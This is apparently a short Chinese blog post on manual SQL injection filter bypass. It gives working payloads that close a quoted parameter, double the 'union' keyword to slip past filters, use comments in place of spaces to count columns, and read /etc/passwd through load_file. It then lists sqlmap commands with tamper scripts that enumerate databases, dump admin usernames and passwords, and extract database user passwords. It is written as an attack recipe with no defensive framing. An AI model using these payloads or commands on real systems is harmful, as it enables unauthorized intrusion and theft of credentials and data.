首页 > 技术文章 > SQL手工注入绕过过滤

Bloggeng 原文

1、考虑闭合:单引号 --> %27    空格-->%20  井号--> %23 ; 构造闭合函数 %27teacher%23

2、判断过滤内容:union --> uniunionon ; 联合查询过滤,再un后再加union ;

3、判断列数,使用Union 语法,union 后边语句要与前边已经执行的语句列数相同。

%27/**/ununionion/**/select/**/1/**/%23  判断是否为1列,返回值为错误,空
%27/**/ununionion/**/select/**/1,2/**/%23 判断是否为2列 返回值为正常,则union之前的查询语句为两列
4、id=-1 让前边的select 语句执行输出无内容,再往后执行union语句,打印相关文件内容。
使用load_file(‘/etc/passwd’)

%27/**/ununionion/**/select/**/1,load_file("/etc/passwd")/**/%23

5、或者使用sqlmap -u "url" --tamper "space2comment.py, space2hash.py"

6、SQLMAP用法:
(1)判断库:当前库在第一行 当前是article
sqlmap.py -u "url" --dbs
(2)判断表名:
sqlmap.py -u "url" --dbs  -D article (表名) --tables
(3)判断列名:
sqlmap.py -u "url" --dbs  -D article (表名) -T admin --columns
(4)判断值:
 sqlmap.py -u "url" --dbs  -D article (表名) -T admin -C username, password --dump
(5)判断数据连接用户的密码:sa
 sqlmap.py -u "url" --passwords  找到连接密码 用 nvicat连接。

 

推荐阅读